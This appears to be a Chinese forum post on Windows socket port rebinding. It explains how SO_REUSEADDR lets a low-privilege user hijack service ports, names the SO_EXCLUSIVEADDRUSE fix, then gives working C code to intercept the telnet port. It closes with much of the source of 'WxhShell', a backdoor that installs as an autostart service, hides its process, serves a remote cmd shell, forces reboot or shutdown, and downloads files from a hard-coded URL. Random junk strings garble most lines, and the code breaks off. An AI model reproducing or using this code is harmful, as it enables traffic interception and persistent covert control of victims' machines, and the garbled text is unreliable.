在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u,d5/`E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%m[ZU<v FINHO058^Y saddr.sin_family = AF_INET;
PXJ7Ek*/ 0WSZhzNyY saddr.sin_addr.s_addr = htonl(INADDR_ANY);
E'Ux2sh g3{UP]Z71 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gVR]z9 O1t$]k: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kcg\f@d$ `=,emP&(H& 这意味着什么?意味着可以进行如下的攻击:
[2Nux0g s/C'f4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LGW_7&0<< <m1v+cnqo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-MTYtw( Kr|.I2?" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`JPkho Vq{3:QBR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$6D*G-*8 (*Q:'2e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K5XW&|tY! Av5:/c.B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MpZ\j E!mv} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'x"(OdM:[ 02*qf:kTnA #include
'U`;4AN #include
IOuqC.RJ}o #include
S1mMz
i #include
kL0K[O DWORD WINAPI ClientThread(LPVOID lpParam);
-]D/8,|s int main()
VHl1f7%@H {
6W=V8 WORD wVersionRequested;
7C3YVm6g DWORD ret;
fbbbTZy WSADATA wsaData;
Dat',5 BOOL val;
+0UBP7kn SOCKADDR_IN saddr;
Q%d1n*;+ SOCKADDR_IN scaddr;
Bi :!"Nw[X int err;
4:N*C7P SOCKET s;
c-Yd> 4+1 SOCKET sc;
CPRVSN0b{4 int caddsize;
{$yju _[ HANDLE mt;
u5glKE DWORD tid;
h !R=t wVersionRequested = MAKEWORD( 2, 2 );
dpNERc5 err = WSAStartup( wVersionRequested, &wsaData );
p@4GI[ 4 if ( err != 0 ) {
0NC70+4L printf("error!WSAStartup failed!\n");
fbOqxF"?we return -1;
)=29Hm" }
nR*'
3 saddr.sin_family = AF_INET;
]SRpMZ ]- `wXi" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^ W?cuJ8 3)\fZYu) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DmLx"%H3 saddr.sin_port = htons(23);
|llJ%JhF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_(kaa WJ {
23>[-XZb[O printf("error!socket failed!\n");
lNa+NtQu return -1;
1nskf*Z }
Ihf :k_; val = TRUE;
y*vSt^ //SO_REUSEADDR选项就是可以实现端口重绑定的
gC/ e]7FNr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Uza '%R {
:Z6j5V;s printf("error!setsockopt failed!\n");
>5L_t return -1;
~qGW94 }
9N}\>L)_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5Q"w{ n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{o)pwM"@( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ZDR@VYi+~ C=r2fc~w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/+SLq`'u) {
rHX^bcYK ret=GetLastError();
<L#d<lx printf("error!bind failed!\n");
}>u `8'2v return -1;
H%>4z3n
}
y@!o&,,mq listen(s,2);
g)#{<#*2 while(1)
G,|!&=Pe|E {
}>0>OqvF caddsize = sizeof(scaddr);
6xJffl //接受连接请求
\?^2}K/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z}dK6h5+' if(sc!=INVALID_SOCKET)
vb6EO[e%I {
F1L[3D^- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c8JW]A`9b) if(mt==NULL)
4Qfsxg {
"Nj/{BU printf("Thread Creat Failed!\n");
4r1\&sI$~ break;
D@*<O=_D( }
f;zNNx<
; }
m3lz#Pm'0 CloseHandle(mt);
r%ES#\L6+| }
@>(KEjQTz closesocket(s);
"/i$_vl WSACleanup();
- Fbp!*.
u return 0;
TD}<U8I8_ }
'YNdrvz DWORD WINAPI ClientThread(LPVOID lpParam)
0^-1d2Z~ {
WxGD*% SOCKET ss = (SOCKET)lpParam;
&HM-UC| SOCKET sc;
w#9KtW,tt unsigned char buf[4096];
=L" 0]4K SOCKADDR_IN saddr;
:V)jm`)#+ long num;
cu0IFNF}[ DWORD val;
^}d]O( DWORD ret;
&P|[YP37_ //如果是隐藏端口应用的话,可以在此处加一些判断
x [FLV8`b| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:BF ? r saddr.sin_family = AF_INET;
[fa4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'cXdc saddr.sin_port = htons(23);
UUJQc~= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ilL0=[2 {
"S%t\ printf("error!socket failed!\n");
EX`P(=zD return -1;
EbQLMLD% }
.9qK88fU R val = 100;
lZ\8W^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uPA
(1 {
7mi!yTr} ret = GetLastError();
F`nQS&y return -1;
Z nc(Q }
S }`sp[6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d qn5G!fI {
// o.+?S ret = GetLastError();
LSJ?;Zg(=z return -1;
;"wCBuXcu }
i/ilG3m> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
B ;1qy[ {
~.m<`~u printf("error!socket connect failed!\n");
85GIEUvH/ closesocket(sc);
&[.`xZ(| closesocket(ss);
}Q/onBt return -1;
AC)
M2; }
fSuykbZ while(1)
7Gc{&hp* {
8vY-bm,e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
G21o@38e //如果是嗅探内容的话,可以再此处进行内容分析和记录
yp.K- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z*eBjHbF num = recv(ss,buf,4096,0);
smQ^(S^ if(num>0)
K T} send(sc,buf,num,0);
R2~Tr$: else if(num==0)
DZ8|20b break;
`
R6`"hx$ num = recv(sc,buf,4096,0);
\2i7\U if(num>0)
I0)`tQ+ send(ss,buf,num,0);
w
)R5P[b else if(num==0)
>1~
/:DJ break;
_/s"VYFZ }
^/2I)y]W0 closesocket(ss);
/8cRPB. closesocket(sc);
|7s2xRc return 0 ;
x<NPp&GE }
BX@Iq Tu#< {'1$ W(s4R,j ==========================================================
QU|_
r2LM 9 E!le=> 下边附上一个代码,,WXhSHELL
Sjpx G@k kXMp()N8` ==========================================================
<>cS@V5j }rTH<!j #include "stdafx.h"
V2YK T,5 M?$[WS #include <stdio.h>
/d8o*m'bu! #include <string.h>
!~@GIr #include <windows.h>
*v>ZE6CL #include <winsock2.h>
-u2i"I730 #include <winsvc.h>
A =Wg0eYy\ #include <urlmon.h>
m~ tvuz I E7fx4kV #pragma comment (lib, "Ws2_32.lib")
#o.e
(C #pragma comment (lib, "urlmon.lib")
>ZgzE Sqo+cZ #define MAX_USER 100 // 最大客户端连接数
Jg6Lr~!i #define BUF_SOCK 200 // sock buffer
`2s!%/ #define KEY_BUFF 255 // 输入 buffer
+K57. n{ _u`YjzK #define REBOOT 0 // 重启
kN1MPd4Yh #define SHUTDOWN 1 // 关机
'|C3t!H` ly[LF1t #define DEF_PORT 5000 // 监听端口
E$e7(D ^QB[;g.O #define REG_LEN 16 // 注册表键长度
D6sw"V# #define SVC_LEN 80 // NT服务名长度
k*.]*]
hRcb}>pr // 从dll定义API
c?p^!zG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
U@lc1# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NR{wq|" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&1xCPKIr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aER|5!7(2\ 9(CvGzco< // wxhshell配置信息
|y\Km struct WSCFG {
OZ,kz2SF# int ws_port; // 监听端口
/HC:H,"i char ws_passstr[REG_LEN]; // 口令
p5Q]/DhG int ws_autoins; // 安装标记, 1=yes 0=no
f^WTsh] char ws_regname[REG_LEN]; // 注册表键名
--$o$EP` char ws_svcname[REG_LEN]; // 服务名
v<qh;2 char ws_svcdisp[SVC_LEN]; // 服务显示名
'=\}dav! char ws_svcdesc[SVC_LEN]; // 服务描述信息
!d*[QD8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
S2~cAhR|M int ws_downexe; // 下载执行标记, 1=yes 0=no
Zo9<96I& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;SR ESW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
])x1MmRg\ j]a$RC# };
R$a<= \INH[X#> // default Wxhshell configuration
!QUY ( struct WSCFG wscfg={DEF_PORT,
j=_rUc'Me "xuhuanlingzhe",
N0U/u'J!g 1,
#Ondhy%h[ "Wxhshell",
)Nv1_en<! "Wxhshell",
VSj!Gm0LB "WxhShell Service",
~xH&"1 "Wrsky Windows CmdShell Service",
+Q*`kg' "Please Input Your Password: ",
7p&jSOY 1,
XX;4A "
http://www.wrsky.com/wxhshell.exe",
30Yis_l2h "Wxhshell.exe"
bdUPo+ };
"}]`64? # kI> // 消息定义模块
R#(0C(FI^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F /b`[ char *msg_ws_prompt="\n\r? for help\n\r#>";
X>%nzY]m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3P>gDQP char *msg_ws_ext="\n\rExit.";
_`$LdqgE char *msg_ws_end="\n\rQuit.";
)vr@:PE char *msg_ws_boot="\n\rReboot...";
j)1y v. char *msg_ws_poff="\n\rShutdown...";
uGKjZi char *msg_ws_down="\n\rSave to ";
^6 6!f 5^W ]' mbHkn68 char *msg_ws_err="\n\rErr!";
Nz{dnV{&x; char *msg_ws_ok="\n\rOK!";
*pl6 V| LzygupxY! char ExeFile[MAX_PATH];
r;cDYg int nUser = 0;
WKf<%
E$ HANDLE handles[MAX_USER];
)oEVafNsT int OsIsNt;
gU9{~-9} -!\3;/ SERVICE_STATUS serviceStatus;
\?:L>-&h8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
h\m35'v! b^Hrzn // 函数声明
idmU.` int Install(void);
~Eut_d int Uninstall(void);
^S#; int DownloadFile(char *sURL, SOCKET wsh);
W<Uu.Y{sG int Boot(int flag);
ffCDO\i({ void HideProc(void);
k<1yv$/mW int GetOsVer(void);
QWmE:F[M~ int Wxhshell(SOCKET wsl);
O9gq <d void TalkWithClient(void *cs);
]]xKc5CT int CmdShell(SOCKET sock);
Ku;fZN[g int StartFromService(void);
h@)U,& int StartWxhshell(LPSTR lpCmdLine);
O--p)\ wak 26W>I3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x_PO; VOID WINAPI NTServiceHandler( DWORD fdwControl );
#GsOE#*>T SpH|<L3 // 数据结构和表定义
jA? #!lx_ SERVICE_TABLE_ENTRY DispatchTable[] =
c=\tf~}^Ms {
(5a73%>@ {wscfg.ws_svcname, NTServiceMain},
P{L=u74b{x {NULL, NULL}
7GA8sK };
6*8Wtq vr!J3H f // 自我安装
"SF0b jG9C int Install(void)
Y~ ~Dg?e {
wNONh`b char svExeFile[MAX_PATH];
,'NasL8?We HKEY key;
vwR_2u strcpy(svExeFile,ExeFile);
5<?Ah+1 337.' |ZE // 如果是win9x系统,修改注册表设为自启动
|@ mz@ if(!OsIsNt) {
_sjS'*] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|%_C$s% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{+N<
9(O RegCloseKey(key);
Z:b?^u4. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EZtU6kW" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n
`j._G
RegCloseKey(key);
~{x1/eH return 0;
Z[vx0[av& }
` Xc7b }
D?|D)"?qb }
%zavSm" else {
S :HOlJze \u=d`}E // 如果是NT以上系统,安装为系统服务
`At.$3B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2Gyq40 if (schSCManager!=0)
vz^ ] g {
%wD#[<BGn> SC_HANDLE schService = CreateService
yCX5
5: (
l\U
Q2i schSCManager,
37bMe@W wscfg.ws_svcname,
Iil2R}1 wscfg.ws_svcdisp,
WR+j?Fcf SERVICE_ALL_ACCESS,
Wzq
W1<*` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5C w(
4. SERVICE_AUTO_START,
p^l#Wq5 SERVICE_ERROR_NORMAL,
uH_KOiF svExeFile,
'.}}k!# NULL,
w7)pBsI NULL,
; :e7Z^\/k NULL,
[V}vd@*k NULL,
:4AQhn^;" NULL
F)P:lvp<r );
QE]@xLz if (schService!=0)
=g% L$b<i {
b3NIFKw CloseServiceHandle(schService);
x/QqG1q CloseServiceHandle(schSCManager);
eSPS3|YYn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$KcAB0 B8 strcat(svExeFile,wscfg.ws_svcname);
"tEp8m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1N5
E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'2,~'Zk RegCloseKey(key);
opX07~1 return 0;
FlO?E3d }
O[X*F2LC4 }
:@w~*eK ~ CloseServiceHandle(schSCManager);
2:LUB)&i }
PW*Vfjf4 }
x;ik
K'OG-fn;
return 1;
'CBwE&AL }
wGHft`Z Q\oa<R
D5 // 自我卸载
~z^l~Vyg? int Uninstall(void)
|N,^*xP(6 {
*oO%+6nL HKEY key;
t Cuvb r#- if(!OsIsNt) {
\F
_1C= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bLT3:q#s RegDeleteValue(key,wscfg.ws_regname);
N2h5@*1Y RegCloseKey(key);
"|\hTRQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+U
fw RegDeleteValue(key,wscfg.ws_regname);
UMcM&yu- RegCloseKey(key);
32GI+NN return 0;
s>9I#_4] }
b+s'B4@rb }
-]EL|_; }
q/U-WQ<+ else {
4S(G366 6v@Prw@.b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/N0mF< P if (schSCManager!=0)
+o+f\! {
A;!5c;ftj, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[bLKjD if (schService!=0)
OPvPP>0*8 {
mQj# \<* if(DeleteService(schService)!=0) {
0+&WIs CloseServiceHandle(schService);
DksYKv CloseServiceHandle(schSCManager);
UG vIH m return 0;
R ENCk( }
o!xCM:+J CloseServiceHandle(schService);
oKGH|iVEe }
/fQcrd7h CloseServiceHandle(schSCManager);
e]<Syrk }
.+7n@Sc }
iBE|6+g~Cj 4DIU7#GG return 1;
AFt- V }
V``|<`!gd osc8;B/ // 从指定url下载文件
PpRS4*nR int DownloadFile(char *sURL, SOCKET wsh)
G>~/ {
5%'ybh)@ HRESULT hr;
74_?@Z( char seps[]= "/";
s$y_(oU,D char *token;
'{`KYKLP+ char *file;
4'faE="1)S char myURL[MAX_PATH];
Fd8nR9A char myFILE[MAX_PATH];
d /jx8(0 dcKpsX strcpy(myURL,sURL);
P IG,a~ token=strtok(myURL,seps);
U=v>gNba while(token!=NULL)
>A )Sl' {
$GoS?\G file=token;
j,rc9 token=strtok(NULL,seps);
8;M,l2pmR{ }
\ZnA%hC `=Mk6$%Cs GetCurrentDirectory(MAX_PATH,myFILE);
5|0}bv O strcat(myFILE, "\\");
n3e,vP? R strcat(myFILE, file);
$#^3>u send(wsh,myFILE,strlen(myFILE),0);
e{6wFN send(wsh,"...",3,0);
_d!sSyk` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5?3 v;B6 if(hr==S_OK)
fwppqIM return 0;
CW;zviH5 else
CfOyHhhKX return 1;
&4E|c[HN <v ub
Q4 }
c |%5SA 2tU3p<[ // 系统电源模块
S5|7D[* int Boot(int flag)
:F d1k
Jm {
TT/=0^" HANDLE hToken;
&"u(0q TOKEN_PRIVILEGES tkp;
7Kym|Zg 7$7|~k if(OsIsNt) {
!19T=p/:$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-cUW,>E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3 EAr=E] tkp.PrivilegeCount = 1;
JP!e'oWxi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ln<[CgV8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/5%'q~ if(flag==REBOOT) {
2k!uk6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&[`24Db return 0;
Wz^;:6F }
oD%n} else {
52^3N>X4X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u!xgLf'` return 0;
:qS~"@ ?< }
Qc33CA }
yO-2.2h else {
(muJ-~CJk if(flag==REBOOT) {
'"Cqq{* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ks$5$,^T2o return 0;
<F`9;WX }
02 FLe*zQ else {
06NiH-0O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.}E<,T return 0;
F_u?.6e] }
ko.%@Y(= }
z:UkMn[ @MQfeM-@ return 1;
|yNyk7~ }
EAY+#>L* q2k}bb + // win9x进程隐藏模块
};2Lrz9< void HideProc(void)
!}A`6z {
4PC'7V=S y2k's HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DvN_}h^nX if ( hKernel != NULL )
&2@"zD {
depCqz@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9[t-W:3c7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dyqk[$( FreeLibrary(hKernel);
?n<sN" }
w8>lWgN 7d{xXJ- return;
^`-Hg= d }
%jUZc:06 E.'6p \ // 获取操作系统版本
.K940& Ui int GetOsVer(void)
)p!")
:'fv {
>yyu:dk-; OSVERSIONINFO winfo;
&xj40IZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4YOLy\"S GetVersionEx(&winfo);
WbFCj0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<q MX,h2 return 1;
NVVAh5R else
3F6'3NvVc2 return 0;
YC{7;=Pf }
Vg(p_k45` |rpMwkR // 客户端句柄模块
9(&$Gwi int Wxhshell(SOCKET wsl)
,g P;XRe1 {
.>`7d=KT SOCKET wsh;
R]kH$0` struct sockaddr_in client;
oW7;t DWORD myID;
5W{|?l{ s5b<KQ. while(nUser<MAX_USER)
!/F-EJOH6C {
v@X[0J_8 int nSize=sizeof(client);
Mc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JjAO9j% if(wsh==INVALID_SOCKET) return 1;
}WQ:Rmi ZZL%5{w_
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y\H4.$V if(handles[nUser]==0)
xAsy07J? closesocket(wsh);
.<P@6Jq else
esTK4z] nUser++;
}Ny~.EV5^ }
I1ibrn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yC}x6xG n[-d~ Ce2{ return 0;
B*Q.EKD8s }
a0FU[*q i;)r|L`V? // 关闭 socket
u<@
55k void CloseIt(SOCKET wsh)
%MfT5*||f {
BD ,3JDqT closesocket(wsh);
51%<N\>/4 nUser--;
@XF/hhGE_y ExitThread(0);
_*(:6,8 }
4.&et()} $L"-JNS // 客户端请求句柄
piUfvw void TalkWithClient(void *cs)
<>1*1%m {
~m'8BK 3~0Xe SOCKET wsh=(SOCKET)cs;
Bsz;GnD|r char pwd[SVC_LEN];
T /7[hj char cmd[KEY_BUFF];
7`X9s~B char chr[1];
B415{ int i,j;
k.0pPl k|^nrjStC while (nUser < MAX_USER) {
6~+?DIc ]_)=xF19 if(wscfg.ws_passstr) {
HPWjNwM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PJcz] < //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#`Et{6WS //ZeroMemory(pwd,KEY_BUFF);
\=g%W^i i=0;
r(=3yd/G$ while(i<SVC_LEN) {
01^W Py9l j@s,5:;[ // 设置超时
\-s'H: fd_set FdRead;
3412znM& struct timeval TimeOut;
"V_PWEi FD_ZERO(&FdRead);
_bq2h%G=8 FD_SET(wsh,&FdRead);
Eh;~y*k\ TimeOut.tv_sec=8;
785Y*.p TimeOut.tv_usec=0;
2|^bDg;W+u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
].w$b)G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}oTac ~&IL>2-B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E~!FEl; pwd
=chr[0]; -1u N
Z{0
if(chr[0]==0xd || chr[0]==0xa) { Z.0^:rVp~
pwd=0; >G+?X+9
break; cE=v566
} fx4X!(w!B
i++; :@X@8j":
} 8eoDE. }
#P6;-d@a
// 如果是非法用户,关闭 socket {=d\t<p*n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 58My6(5y
} <BN)>NqM
dTP$7nfe
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :XZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .~
W^P>t
p>p=nL K
while(1) { iyhB;s5Rgw
0) lG~_q
ZeroMemory(cmd,KEY_BUFF); !$5U\"M
Z-j%``I?h
// 自动支持客户端 telnet标准 pr-!otz
j=0; MgLz:2
:F
while(j<KEY_BUFF) { qx/GioPU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/m*vY`
cmd[j]=chr[0]; akQtre`5sd
if(chr[0]==0xa || chr[0]==0xd) { Hw/1~O$T
cmd[j]=0; f-6E>
break; `}u~nu<
} -OuMC&
j++; [XQoag;!
} ODM<$Yo:d
.,x08M
// 下载文件 z|yC [Ota
if(strstr(cmd,"http://")) { AuU:613]W8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tr}c]IP*
if(DownloadFile(cmd,wsh)) *$_<|
g)9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VG\ER}s&P
else 6i\b&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Da8qR+*x
} GL1!Z3
else { 66%kq[
\d%SC <s
switch(cmd[0]) { bLoYg^T/
#tBbvs+%
// 帮助 F+AShh
case '?': { y#Ch /Jg?|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .x1EdfHed/
break; H1=R(+-s
} uBs[[9je(
// 安装 ~GS`@IU}
case 'i': { ? P`]^#
if(Install()) te'<xfG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d8
ve$X
else -]PW\}w1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +3t(kQ
break; Md_\9G .e
} G(4:yK0
// 卸载 G#CWl),=
case 'r': { +]|J
if(Uninstall()) 8F4#E
U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)IN20
else T.W/S0#j3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mrd(\&EhA
break; 4k$BqM1
} JUU0Tx:`9)
// 显示 wxhshell 所在路径 )CXJRo`j0
case 'p': { |g4!Yd
char svExeFile[MAX_PATH]; #!y|cP~;I
strcpy(svExeFile,"\n\r"); K=Fcy#,f
strcat(svExeFile,ExeFile); sbNCviKP
send(wsh,svExeFile,strlen(svExeFile),0); T0RgCU
IV
break; 1p9f& w
} '(u [
// 重启 *Xl&N- 04
case 'b': { F=^vu7rf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NP^kbF
if(Boot(REBOOT)) ;][1_
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
[?Aq#av
else { ~Cj+6CrT
closesocket(wsh); _.FxqH>
ExitThread(0); NRq
jn; ,+
} >&U]j*'4
break; K$'
J:{yY
} tp*AA@~
// 关机 $+[HJ{
case 'd': { l=
!KZaH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vM\8>p*U
if(Boot(SHUTDOWN)) HPwmi[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 18ci-W#p
else { ybf`7KEP2A
closesocket(wsh); GXRK+RHuBi
ExitThread(0); AytHnp\H
} 6eK18*j%H
break; Fv5@-&y$W
} Dw6Q2Gnv
// 获取shell |yN7#O-D
case 's': { le|e 4f*+
CmdShell(wsh); d%4!d_I<
closesocket(wsh); 6]Ppa ~Xwq
ExitThread(0); tq>QZEg
break; eyl+D sK
} ga~rllm;i
// 退出 Sjj &n S
case 'x': { qz(0iZ] Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ge[N5N>
CloseIt(wsh); (h|l$OL/
break; |{Z?a^-NJ
} PGu6hV{
// 离开 0$/wH#f
case 'q': { Alp9]
0(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K}! VY`
closesocket(wsh); \nPa>2r
WSACleanup(); -Vt*(L
exit(1); eSywWSdf0
break; =1yU&
PJ
} +&-/$\"
} nvsuF)%9hZ
} Kv!CL9^LX7
)MW.Y
// 提示信息 oXV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kUn55 l
} SH5GW3\h
} xC!, v 0&
3@s|tm1
return; q}tLOVu1
} xQ7>u-^
. v0 .wG
// shell模块句柄 RP z0WP
int CmdShell(SOCKET sock) SgFyv<6>:
{ Y-@K@Zu]?
STARTUPINFO si; p?=rQte([
ZeroMemory(&si,sizeof(si)); +!dIEt).U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0A'XCULG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mTYEK4}
PROCESS_INFORMATION ProcessInfo; r/+<_3
char cmdline[]="cmd"; (?I8/KYR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #U(dleT8
return 0; 6
}qNH29
} )DfmO
N
0&h5
// 自身启动模式 Yep(,J~'
int StartFromService(void) lySeq^y?Q
{ b 9F=}.4
typedef struct .z7F58
{ >j_,3{eJ
DWORD ExitStatus; TR5"K{WDx
DWORD PebBaseAddress; :_i1)4[!
DWORD AffinityMask; j!qO[CJJ
DWORD BasePriority; ^'*9,.ltd
ULONG UniqueProcessId; 70mQ{YNN
